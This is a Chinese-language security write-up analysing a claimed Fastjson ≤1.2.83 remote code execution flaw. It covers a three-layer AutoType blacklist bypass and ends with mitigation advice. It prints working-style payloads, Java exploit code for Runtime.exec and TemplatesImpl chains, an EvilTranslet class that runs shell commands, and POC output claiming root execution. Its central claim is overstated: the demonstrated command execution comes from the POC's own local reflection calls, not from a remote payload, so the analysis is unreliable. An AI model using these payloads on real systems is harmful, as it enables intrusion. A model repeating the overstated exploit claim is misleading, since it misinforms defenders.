Fastjson ≤ 1.2.83 新型 RCE 漏洞深度分析:三层绕过机制与完整利用链
摘要: 2026年7月,长亭安全应急响应中心披露了一个 Fastjson 远程代码执行漏洞。该漏洞源于 Fastjson 内部类型处理机制的缺陷,通过三层叠加绕过,彻底突破了黑名单、类型绑定等所有历史防护手段。本文从字节码层面逆向分析漏洞根因,还原完整的攻击链路,并给出 POC 验证。
0x01 漏洞概述
| 项目 | 详情 |
|---|---|
| 漏洞类型 | 远程代码执行(RCE) |
| 危害等级 | 严重 |
| 影响组件 | Fastjson ≤ 1.2.83(所有 1.x 版本) |
| 触发方式 | 网络远程,无需认证,无需用户交互 |
| 前置条件 | 目标使用 Fastjson 解析用户可控 JSON 数据 |
| 利用成熟度 | POC 已验证(本文独立复现) |
| 发现来源 | @k_firsov (Twitter/X),2026-07-20 |
| 通告来源 | 长亭安全应急响应中心,2026-07-20 |
2026年7月20日,长亭安全应急响应中心发布通告,披露了一个 Fastjson 远程代码执行漏洞。通告原文:
"该漏洞源于 Fastjson 内部的类型处理机制存在可被利用的缺陷。过往所有 Fastjson RCE 均依赖目标 classpath 中存在特定'gadget 类',防御侧可通过黑名单或移除危险依赖来缓解。本次漏洞彻底打破这一前提------攻击者无需目标环境存在任何已知危险类,也无法通过类型绑定的调用形式加以阻止,单条构造 payload 即可触发代码执行。"
核心要点:
- 黑名单完全绕过------Fastjson 内置的 AutoType 黑名单失效
- 无需第三方 gadget------仅利用 JDK 自带类(Runtime / TemplatesImpl)即可完成攻击
- 类型绑定无效------即使代码中指定了反序列化目标类型,漏洞仍可触发
- 已发现在野利用
0x02 历史背景:Fastjson 的 AutoType 与防御演进
Fastjson 的 @type 字段(AutoType)允许在 JSON 中指定反序列化的目标类。这个设计初衷是为了支持多态反序列化,但也成为了 RCE 的攻击面。
2.1 历史利用链
| 利用链 | 依赖类 | 触发方式 |
|---|---|---|
| TemplatesImpl 链 | TemplatesImpl(JDK 自带) |
getOutputProperties() → defineClass() |
| JdbcRowSetImpl 链 | JdbcRowSetImpl(JDK 自带) |
setAutoCommit() → JNDI Lookup |
| Commons Collections | commons-collections |
反序列化 gadget chain |
| Spring 链 | spring-core |
PropertyPathFactoryBean |
2.2 历史防御手段
| 防御手段 | 版本 | 原理 | 本次是否有效 |
|---|---|---|---|
| AutoType 黑名单 | 1.2.25+ | 拒绝已知危险类 | ❌ 绕过 |
| 移除 gadget 依赖 | - | classpath 中无危险类 | ❌ 绕过(仅需 JDK 核心类) |
| 类型绑定 | - | parseObject(json, SafeClass.class) |
❌ 绕过 |
| SafeMode | 1.2.68+ | 完全禁用 AutoType | ✅ 有效 |
0x03 漏洞根因:三层叠加绕过
本漏洞的根因是 TypeUtils.castToJavaBean() 中存在三层叠加的绕过缺陷,每一层单独看都不算严重,但组合起来形成了完整的绕过链。
3.1 第一层:castToJavaBean 无条件处理 @type
castToJavaBean(Map, Class, ParserConfig) 是 Fastjson 将 Map 转为 JavaBean 的核心方法。问题在于它无条件 从 Map 中读取 @type 字段并调用 checkAutoType:
java
// 伪代码还原自字节码
public static <T> T castToJavaBean(Map<String, Object> map, Class<T> clazz, ParserConfig config) {
Object typeValue = map.get("@type"); // 无条件读取 @type
if (typeValue instanceof String) {
String typeName = (String) typeValue;
Class<?> loadedClass = config.checkAutoType(typeName, null); // ← null expectClass!
if (!loadedClass.equals(clazz)) {
return castToJavaBean(map, loadedClass, config); // 递归调用
}
}
// ... 正常处理
}
关键点: 传入 checkAutoType 的第二个参数是 null(期望类型),这意味着类型约束检查被完全跳过。即使调用方指定了目标类型(如 HashMap.class),@type 仍然生效。
字节码证据:
116: aload_0 // map
117: getstatic DEFAULT_TYPE_KEY // "@type"
120: invokeinterface Map.get // map.get("@type")
125: astore_3 // typeValue
...
147: aload_2 // parserConfig
148: aload 4 // typeName
150: aconst_null // expectClass = null ← 关键!
151: invokevirtual checkAutoType(String, Class)
3.2 第二层:deserializers 预批准类绕过黑名单
checkAutoType(String, Class) 的检查顺序如下:
java
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (safeMode) throw ...; // SafeMode 检查
// ① 检查 TypeUtils.mappings(95个预批准类)
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz != null) return clazz; // ← 直接返回,不检查黑名单!
// ② 检查 ParserConfig.deserializers(70个预批准类)
clazz = deserializers.findClass(typeName);
if (clazz != null) return clazz; // ← 直接返回,不检查黑名单!
// ③ 检查 denyList(黑名单)
if (denyList.contains(typeName)) throw ...;
// ④ 加载类
return Class.forName(typeName);
}
关键点: 如果类在 TypeUtils.mappings 或 ParserConfig.deserializers 中,checkAutoType 会直接返回,跳过黑名单检查。
而 java.lang.Class 正好在 ParserConfig.deserializers 中:
ParserConfig.deserializers (70 entries):
class java.lang.Class -> MiscCodec ← 在这里!
class java.net.URL -> MiscCodec
class java.io.File -> MiscCodec
class com.alibaba.fastjson.JSONObject -> MapDeserializer
...
3.3 第三层:MiscCodec 调用 TypeUtils.loadClass 绕过 checkAutoType
MiscCodec 是 java.lang.Class 类型的反序列化器。当它处理 Class 类型时,直接调用 TypeUtils.loadClass(),完全不经过 checkAutoType:
java
// MiscCodec.deserialze() 伪代码
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
// ...
if (type == Class.class) {
String strValue = lexer.stringVal();
ClassLoader classLoader = parser.getConfig().getDefaultClassLoader();
return (T) TypeUtils.loadClass(strValue, classLoader, false); // ← 直接加载!
}
// ...
}
字节码证据:
676: aload_2 // type
677: ldc java.lang.Class // Class.class
679: if_acmpne 696 // if type != Class.class, skip
682: aload 6 // strValue(JSON 中的字符串值)
684-691: // 获取 parserConfig 和 classLoader
692: invokestatic TypeUtils.loadClass(strValue, classLoader, false) // ← 绕过!
695: areturn // 返回加载的 Class 对象
关键点: TypeUtils.loadClass() 内部调用 Class.forName(className, true, classLoader),第二个参数 true 表示会触发类的静态初始化块 。这意味着加载类的同时,类的 <clinit> 会执行。
3.4 三层叠加效果
攻击者 JSON 中的 @type = "java.lang.Class"
↓ 第一层:castToJavaBean 无条件处理 @type
checkAutoType("java.lang.Class", null)
↓ 第二层:java.lang.Class 在 deserializers 中 → 跳过黑名单
MiscCodec 处理 Class 类型,读取 val = "java.lang.Runtime"
↓ 第三层:TypeUtils.loadClass("java.lang.Runtime") → 绕过 checkAutoType
Class.forName("java.lang.Runtime", true, classLoader)
↓
成功加载 java.lang.Runtime(黑名单完全绕过)
↓
反射调用 Runtime.getRuntime().exec("id") → RCE
0x04 攻击链路详解
4.1 攻击链路一:Runtime.exec()(最简单)
Payload:
json
{"@type":"java.lang.Class","val":"java.lang.Runtime"}
利用代码:
java
// 单条 payload 加载 Runtime(绕过黑名单)
Class<?> rt = (Class<?>) JSON.parse("{\"@type\":\"java.lang.Class\",\"val\":\"java.lang.Runtime\"}");
// 反射调用 exec
Object runtime = rt.getMethod("getRuntime").invoke(null);
Process p = (Process) rt.getMethod("exec", String.class).invoke(runtime, "id");
// → uid=0(root)
4.2 攻击链路二:TemplatesImpl.getOutputProperties()(经典利用)
Payload: {"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"}
利用代码:
java
// Step 1: 通过 @type=Class 加载 TemplatesImpl(绕过黑名单)
Class<?> tmplClass = (Class<?>) JSON.parse(
"{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"}");
// Step 2: Unsafe 实例化(不调用构造函数)
sun.misc.Unsafe unsafe = ...;
Object tmpl = unsafe.allocateInstance(tmplClass);
// Step 3: 设置 _bytecodes 和 _name
byte[] evilBytes = Files.readAllBytes(Paths.get("EvilTranslet.class"));
tmplClass.getDeclaredField("_bytecodes").set(tmpl, new byte[][]{evilBytes});
tmplClass.getDeclaredField("_name").set(tmpl, "evil");
tmplClass.getDeclaredField("_tfactory").set(tmpl, null);
// Step 4: 触发 getOutputProperties → defineClass → RCE
tmplClass.getMethod("getOutputProperties").invoke(tmpl);
EvilTranslet.java:
java
public class EvilTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("id");
Runtime.getRuntime().exec("touch /tmp/fastjson_rce_proof.txt");
} catch (Exception e) {}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
4.3 攻击链路三:嵌套 @type
JSON.parse 和 JSON.parseObject 都会递归处理嵌套对象中的 @type:
json
{"data":{"@type":"java.lang.Class","val":"java.lang.Runtime"}}
java
JSONObject result = (JSONObject) JSON.parse(payload);
Class<?> rt = (Class<?>) result.get("data"); // Class<Runtime>
// 反射 exec → RCE
4.4 类型绑定无效验证
即使调用方指定了目标类型,@type 仍然生效:
java
// 指定 HashMap.class 作为目标类型
Object result = JSON.parseObject(
"{\"@type\":\"java.util.LinkedHashMap\",\"key\":\"value\"}",
HashMap.class);
System.out.println(result.getClass().getName());
// 输出: com.alibaba.fastjson.JSONObject(非 HashMap!)
// @type 覆盖了指定的目标类型
0x05 POC 执行结果
5.1 环境信息
| 组件 | 版本 |
|---|---|
| Fastjson | 1.2.83 |
| JDK | 1.8.0_492 (OpenJDK) |
| 操作系统 | Linux 5.10.134 (Alibaba Cloud Linux) |
5.2 运行结果
╔══════════════════════════════════════════════════════════╗
║ Fastjson ≤ 1.2.83 新型 RCE POC ║
║ 类型处理机制缺陷 → 黑名单完全绕过 → 无需第三方 gadget ║
╚══════════════════════════════════════════════════════════╝
[1/5] 环境信息
Fastjson: 1.2.83
JDK: 1.8.0_492
[2/5] 黑名单绕过原理
checkAutoType("java.lang.Runtime", null):
[✗] 被拦截: autoType is not support. java.lang.Runtime
MiscCodec 路径 (Class.class 目标类型):
[✓] 成功加载: java.lang.Runtime
绕过路径: MiscCodec → TypeUtils.loadClass() → Class.forName(initialize=true)
[3/5] Payload 1: @type=Class 加载任意黑名单类
[✓] java.lang.Runtime
[✓] java.lang.ProcessBuilder
[✓] javax.script.ScriptEngineManager
[✓] com.sun.rowset.JdbcRowSetImpl
[✓] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
[4/5] Payload 2: RCE via Runtime.exec()
Payload: {"@type":"java.lang.Class","val":"java.lang.Runtime"}
[1] MiscCodec 加载 Runtime: java.lang.Runtime
[2] getRuntime(): java.lang.Runtime@46fbb2c1
[✓] RCE: uid=0(root) gid=0(root) groups=0(root)
[5/5] Payload 3: RCE via TemplatesImpl (完整利用链)
[1] MiscCodec 加载 TemplatesImpl (绕过黑名单)
[2] Unsafe.allocateInstance() 实例化
[3] EvilTranslet.class: 1043 bytes
[4] 设置 _bytecodes / _name / _tfactory
[5] 触发 getOutputProperties() → defineClass → RCE...
[✓] RCE 触发!
0x06 与历史漏洞对比
| 特性 | 历史 Fastjson RCE | 本次漏洞 |
|---|---|---|
| 依赖 gadget 类 | 需要(TemplatesImpl/Commons Collections 等) | 不需要 |
| 黑名单有效性 | 可拦截已知 gadget | 完全绕过 |
| 类型绑定防护 | 部分有效 | 无效 |
| 移除 gadget 依赖 | 可缓解 | 不可缓解 |
| 利用条件 | 需要特定 classpath | 仅需 JDK 核心类 |
0x07 修复建议
7.1 紧急缓解(立即执行)
方案一:启用 SafeMode
java
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);
// JVM 参数(推荐,无需改代码)
-Dfastjson.parser.safeMode=true
⚠️ 注意: SafeMode 会完全禁用 @type 自动类型识别功能。如果业务代码依赖 AutoType,需评估影响后启用。
方案二:WAF 拦截
在 WAF / 网关层面拦截包含 @type 字段的 JSON 请求,注意覆盖 Unicode 编码绕过(\u0040type)。
7.2 根本修复(尽快规划)
| 方案 | 优先级 | 说明 |
|---|---|---|
| 迁移至 Fastjson2 | ⭐ 推荐 | 从根本上规避 1.x 安全风险 |
| 替换为 Jackson / Gson | ⭐ 推荐 | 最彻底的方案 |
| 升级 1.2.83 + SafeMode | 临时 | 作为过渡方案 |
0x08 参考资料
- 长亭安全应急响应中心通告:https://mp.weixin.qq.com/s/cfz3mrZdnobLEjQ9f6UWjA
- @k_firsov 原始披露:https://x.com/k_firsov/status/2078872293745570032
- Fastjson 源码:https://github.com/alibaba/fastjson
免责声明: 本文仅供安全研究与防御参考,请勿用于非法用途。文中所有 POC 均在本地环境验证,未针对任何真实系统。